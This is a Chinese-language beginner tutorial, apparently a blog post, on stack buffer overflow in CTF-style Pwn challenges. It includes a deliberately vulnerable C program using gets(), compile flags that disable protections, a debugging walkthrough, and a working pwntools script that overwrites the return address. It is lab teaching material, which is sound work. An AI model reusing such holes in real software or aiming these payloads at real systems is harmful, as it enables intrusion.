上一篇文章「[資訊安全] 從毫無基礎開始 Pwn – 概念」一文中，提及構成 Pwn 危害的原理，以及現有的防護方式，該篇文章會延續探討此議題，也會帶入簡單的實作，從實作中驗證 CTF 最基本的題型，Buffer OverFlow 的概念。
環境建置
首先我的環境使用 Windows 底下的 WSL（Windows Subsystem for Linux），裝載是 Ubuntu，並且已經安裝 gcc（編譯含有弱點的 C/C++ 程式），接著還需要安裝 Python3、Pwntools、PEDA-gdb。
套件安裝
以 Ubuntu 為例子，可以透過以下指令直接安裝 Python3 與 Pwntools。
sudo apt-get update
sudo apt-get install python3 python3-dev python3-pip git
pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git
PEDA 全名是 Python Exploit Development Assistance for GDB，其中彙整了一些常用的功能，也讓介面看起來更直觀一些，安裝方法如下。
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
程式碼
以下是該實驗的目標程式碼，含有 Buffer Overflow 的弱點。
#include <stdio.h>
void target(){
printf("Oh No! Your Hacker.\n");
}
void uname(){
char str[16];
printf("input your name: \n");
gets(str);
printf("Hello, %s \n", str);
}
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
uname();
return 0;
}
補充:
添加下列兩行，可以清除暫存，若使用 ncat 將程式掛上 socket 則不會有延遲或沒有輸出的狀況。
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
編譯
編譯時需要注意，參數部分有加上 -fno-stack-protector，在上一篇文章中有提到，主要是關閉 Stack Canary 的防護機制，並且讓記憶體位置不隨機，來降低難度。
gcc demo.c -o demo -fno-stack-protector -no-pie
編譯完成後可以使用 checksec 指令查看防護機制的啟動狀態（需要安裝 Pwntools）。
開始實作
首先在開始之前，些列出需要知道的一些資訊。
- Function Address（target Function）
- input 到 ret 的長度
Function Address
要知道 Function Address 才知道蓋到 ret 後要去什麼地方，這邊提供兩種方法可以查詢各 Function 的位置。
GDB disam
首先可以透過 gdb <binary> 來執行 Debug Mode，例如 gdb demo，接著輸入 disas target，隨即輸出該 Function 的反組譯內容，並且標出該 Function 的記憶體開始處 0x0000000000400667。
objdump
objdump 是我比較常用的工具之一，可以快速查看該隻程式中的組合語言，但需要輸入的指令較為沉長。
objdump -M intel -d <binary>
實際使用
objdump -M intel -d demo | less
其中的 -M 可以選擇他要反組譯的模式，預設為 AT&T，但基於大眾使用習慣，都會把他改成 intel，接著 -d 隨後接著是 binary 檔案，之後餵給 less 方便瀏覽。
input 到 ret 的長度
現在知道目標位置，剩下的就是要怎麼剛好蓋到 ret address 的位置，其方式並不少，可以透過 GDB 實際觀察。
一樣透過 gdb demo 的方式，進入 Debug Mode，隨即使用 r(run) 將程式運行起來。
由於該題目的 buffer 的字串長度只有設置 16 char，相當的小，所以 Payload 輸入 a-z 即可解決。
input your name: abcdefghijklnmopqrstuvwxyz
結果噴了 Segmentation fault.，該階段可以確認的是已經造成 Buffer Overflow 。
看了一下 RBP 的狀態('qrstuvwx')，隨後的 yz 被 RIP 吃掉了，所以目前 RIP 的值為 0x7fffff007a7c，其中的 7a7c 就是 yz，這是個好消息，這代表我們已經接觸到了 RIP，只要有辦法把他變成 target 的 address（0x0000000000400537）即可，藉此可知只要 24 個 char 之後蓋到的就是 ret address 位置。
Pwntools
在上頭跟各位介紹了一個工具 Pwntools，主要是被設計用來打 Pwn 的工具，以 Python 開發，有分成 Python2、3 兩個版本，其中要注意的是 Python3 的字串會是 Byte 的形式。
起手式如下：
from pwn import *
r = process('./app')
r = remote('IP', 'Port')
r.interactive()
Pwntools 可以提供兩種模式，執行本地端執行檔，或是 remote 到遠端的應用程式上互動，隨後接上 r.interactive() 可以進入交互模式，以上的程式碼執行起來，就跟直接執行 binary 執行檔沒兩樣，試著執行以下程式碼比較。
from pwn import *
r = process('./demo')
r.interactive()
由於目前是需要藉由 Pwntools 遞送 Payload，以蓋 Stack 並竄改 ret address 的值，透過 recvuntil() Function 來接收到特定的字串，例如程式開頭會詢問的「input your name:」，接著送出 Payload，可以寫成以下的形式。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = process('./demo')
r.recvuntil('input your name:')
targer_address = p64(0x400667)
r.sendline(b'A' * 24 + targer_address)
r.interactive()
執行結果：
AIS3-2019 「Welcome BOF」
若各位有參加 AIS3-Pre-exam-2019 的話，其中一題 Welcome BOF 的解法就如同上方所提到的解法，有興趣可以看 Write-up。
遇到困難
由於對 C 語言知識的缺乏，雖然題目難度不高，但還是花了不少時間在 C 上，其中由於 target 該 Function 輸出的字串沒有包含換行，送出 Payload 之後，確認有執行到 target Function 但卻沒有輸出設定好的字串「Oh No! Your Hacker.」。
解決方法： 在 target Function 上的 printf() 字串尾端加上 \n 換行符號，具體原因不知道，但補上重新編譯就有輸出了。
備註
如果要使用 ncat 將程式架上 socket 可以使用以下指令。
ncat -vc $binary -kl $ip $port
連線方法：
nc $ip $port
